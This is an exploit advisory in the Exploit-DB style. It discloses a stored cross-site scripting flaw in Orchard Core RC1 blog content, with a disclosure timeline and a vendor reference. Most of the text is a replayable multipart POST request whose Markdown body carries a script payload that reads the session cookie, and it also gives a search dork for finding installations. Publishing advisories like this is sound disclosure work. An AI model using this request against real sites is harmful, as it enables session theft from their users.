Orchard Core RC1 - Persistent Cross-Site Scripting

# Exploit Title: Orchard Core RC1 - Persistent Cross-Site Scripting
# Google Dork: "Orchardcms"
# Date: 2020-05-07
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: http://www.orchardcore.net/
# Software Link: https://github.com/OrchardCMS/OrchardCore
# Version: RC1
# Tested on: Windows
# CVE : N/A

### Vulnerability : Persistent Cross-Site Scripting

###Describe the bug
Persistent Cross-site scripting (Stored XSS) vulnerabilities in Orchard CMS - Orchard Core RC1 allow remote attackers to inject arbitrary web script or HTML
via create or edit blog content.

###To Reproduce
Steps to reproduce the behavior:
POST /Admin/Contents/ContentTypes/BlogPost/Create HTTP/1.1
-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="ListPart.ContainerId"

4s5x3fv3qpsh7rwzvy069ykbxn
-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="TitlePart.Title"

Test XSS
-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="AutoroutePart.Path"


-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="BlogPost.Subtitle.Text"


-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="MarkdownBodyPart.Source"

<script>alert(document.cookie)</script>
-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="submit.Publish"

submit.Publish
-----------------------------31063090348194141451329743365
Content-Disposition: form-data; name="__RequestVerificationToken"

xxx
-----------------------------31063090348194141451329743365--

###Reference:
https://github.com/OrchardCMS/OrchardCore/issues/5802

### History
=============
2020-03-23  Issue discovered
2020-03-27  Vendor contacted
2020-04-22  Vendor response and hotfix
2020-04-22  Vendor set patch milestone to rc2